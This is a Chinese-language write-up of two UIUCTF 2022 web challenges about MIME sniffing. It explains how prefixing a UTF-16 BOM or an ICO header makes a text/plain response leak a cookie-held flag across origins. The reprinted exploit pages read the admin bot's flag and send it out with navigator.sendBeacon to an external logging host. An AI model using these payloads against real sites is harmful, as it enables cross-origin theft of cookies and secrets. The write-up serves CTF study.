其實沒有參加這一次的 CTF,但有稍微看到兩題跟 content type 有關的題目覺得有趣,來記一下解法。
modernism(21 solves) 程式碼超簡單:
1 2 3 4 5 6 7 8 from flask import Flask, Response, requestapp = Flask(__name__) @app.route('/') def index () : prefix = bytes.fromhex(request.args.get("p" , default="" , type=str)) flag = request.cookies.get("FLAG" , default="uiuctf{FAKEFLAG}" ).encode() return Response(prefix+flag, mimetype="text/plain" )
會把你送去的資料 hex decode 以後加在 response 的 flag 前面,就這樣。有一個 admin bot 會帶著 flag 在 cookie 去造訪你的頁面。
這題我原本想說 text/plain
不能被當作 script 載入,就算沒有加 X-Content-Type-Options: nosniff
也一樣,後來發現我記錯了,其實是可以的。
相關程式碼在 third_party/blink/renderer/platform/loader/allowed_by_nosniff.cc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 bool AllowMimeTypeAsScript (const String& mime_type, bool same_origin, AllowedByNosniff::MimeTypeCheck mime_type_check_mode, WebFeature& counter) { using MimeTypeCheck = AllowedByNosniff::MimeTypeCheck; if (mime_type_check_mode == MimeTypeCheck::kLaxForWorker && RuntimeEnabledFeatures::StrictMimeTypesForWorkersEnabled()) { mime_type_check_mode = MimeTypeCheck::kStrict; } if (MIMETypeRegistry::IsSupportedJavaScriptMIMEType(mime_type)) return true ; if (mime_type.StartsWithIgnoringASCIICase("image/" )) { counter = WebFeature::kBlockedSniffingImageToScript; return false ; } if (mime_type.StartsWithIgnoringASCIICase("audio/" )) { counter = WebFeature::kBlockedSniffingAudioToScript; return false ; } if (mime_type.StartsWithIgnoringASCIICase("video/" )) { counter = WebFeature::kBlockedSniffingVideoToScript; return false ; } if (mime_type.StartsWithIgnoringASCIICase("text/csv" )) { counter = WebFeature::kBlockedSniffingCSVToScript; return false ; } if (mime_type_check_mode == MimeTypeCheck::kStrict) { return false ; } DCHECK(mime_type_check_mode == MimeTypeCheck::kLaxForWorker || mime_type_check_mode == MimeTypeCheck::kLaxForElement); if (EqualIgnoringASCIICase(mime_type, "text/javascript1.6" ) || EqualIgnoringASCIICase(mime_type, "text/javascript1.7" )) { return true ; } if (mime_type.StartsWithIgnoringASCIICase("application/octet-stream" )) { counter = kApplicationOctetStreamFeatures[same_origin]; } else if (mime_type.StartsWithIgnoringASCIICase("application/xml" )) { counter = kApplicationXmlFeatures[same_origin]; } else if (mime_type.StartsWithIgnoringASCIICase("text/html" )) { counter = kTextHtmlFeatures[same_origin]; } else if (mime_type.StartsWithIgnoringASCIICase("text/plain" )) { counter = kTextPlainFeatures[same_origin]; } else if (mime_type.StartsWithIgnoringCase("text/xml" )) { counter = kTextXmlFeatures[same_origin]; } else if (mime_type.StartsWithIgnoringCase("text/json" ) || mime_type.StartsWithIgnoringCase("application/json" )) { counter = kJsonFeatures[same_origin]; } else { counter = kUnknownFeatures[same_origin]; } return true ; }
可是就算可以被當作是 script 引入,也沒辦法輕易弄成可以執行的語法,因為 flag 中有 {}
。
非預期解是利用 class,前面加上 class 就變成 class uiuctf{fakeflag}
,有了這個之後你只要 uiuctf+''
就可以得到當初宣告 class 時的那一整串東西,就拿到 flag 了。
預期解是前面加上 BOM,讓 JS 把整個腳本用 UTF-16 去解讀,就會把原本那一串 flag 變成奇怪的中文字,就不會壞了,前面則可以加上 ++window.
,之後去看 window 的每個屬性就好。
作者的解法 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <!DOCTYPE html> <html lang ="en" > <head > <meta charset ="UTF-8" /> <meta name ="viewport" content ="width=device-width, initial-scale=1.0" /> <meta http-equiv ="X-UA-Compatible" content ="ie=edge" /> <title > Static Template</title > </head > <body > <script src ="https://modernism-web.chal.uiuc.tf/?p=FEFF002B002B00770069006E0064006F0077002E" > </script > <script > const encutf16=(s )=> [...s].flatMap(c => [String .fromCharCode(c.charCodeAt(0 )>>8 ),String .fromCharCode(c.charCodeAt(0 )&0xff )]).join('' ); const flag = Object .getOwnPropertyNames(window ).map(x => encutf16(x)).find(x => x.startsWith('uiuctf{' )); navigator.sendBeacon("//hc.lc/log2.php?modernism" ,flag); </script > </body > </html >
precisionism(3 solves) 這題跟上題很像,只是結尾多加了一些東西:
1 2 3 4 5 6 7 8 from flask import Flask, Response, requestapp = Flask(__name__) @app.route('/') def index () : prefix = bytes.fromhex(request.args.get("p" , default="" , type=str)) flag = request.cookies.get("FLAG" , default="uiuctf{FAKEFLAG}" ).encode() return Response(prefix+flag+b"Enjoy your flag!" , mimetype="text/plain" )
因為多加的那些東西,所以前面那兩招都不能用。
這題的預期解是把 response 弄成 ICO 格式,然後把要 leak 的部分放到 width 去,就可以 cross origin 拿圖片寬度,一個 byte 一個 byte 拿出來:
作者解法 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <!DOCTYPE html> <html lang ="en" > <head > <meta charset ="UTF-8" /> <meta name ="viewport" content ="width=device-width, initial-scale=1.0" /> <meta http-equiv ="X-UA-Compatible" content ="ie=edge" /> <title > Static Template</title > </head > <body > <h1 > This is a static template, there is no bundler or bundling involved! </h1 > <script > const sleep = () => new Promise ((res ) => setTimeout(res, 50 )); async function exfil (i ) { let img = new Image(); let p = "00000100020001010000010020006804000026000000" ; if (i>0 ) p = p.slice(0 , -i*2 ); img.src = `https://precisionism-web.chal.uiuc.tf/?p=${p} ` ; await img.decode(); return img.width; } async function main ( ) { for (let i = 0 ; i < 16 ; i++) { let c = await exfil(i); console .log(String .fromCharCode(c)); navigator.sendBeacon("//hc.lc/log2.php?precisionism" ,String .fromCharCode(c)+" " +c) } } main(); </script > </body > </html >
總結 話說我還有特別研究了一下 chromium 怎麼做 mime sniffing,不過這次題目跟這個好像沒太大關係,還是筆記一下位置:https://source.chromium.org/chromium/chromium/src/+/master:net/base/mime_sniffer.cc
文章来源: https://blog.huli.tw/2022/08/01/uiuctf-2022-writeup/ 如有侵权请联系:admin#unsafe.sh